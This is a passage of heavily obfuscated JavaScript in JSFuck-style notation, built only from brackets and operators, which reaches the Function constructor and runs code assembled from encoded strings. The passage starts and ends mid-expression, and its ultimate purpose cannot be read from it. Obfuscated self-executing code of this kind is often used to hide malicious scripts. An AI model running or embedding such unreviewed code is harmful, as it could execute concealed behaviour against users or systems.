]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]])+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]])+(+(+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+[]])+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(+(+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+[]])+(![]+[])[!+[]+!+[]+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([!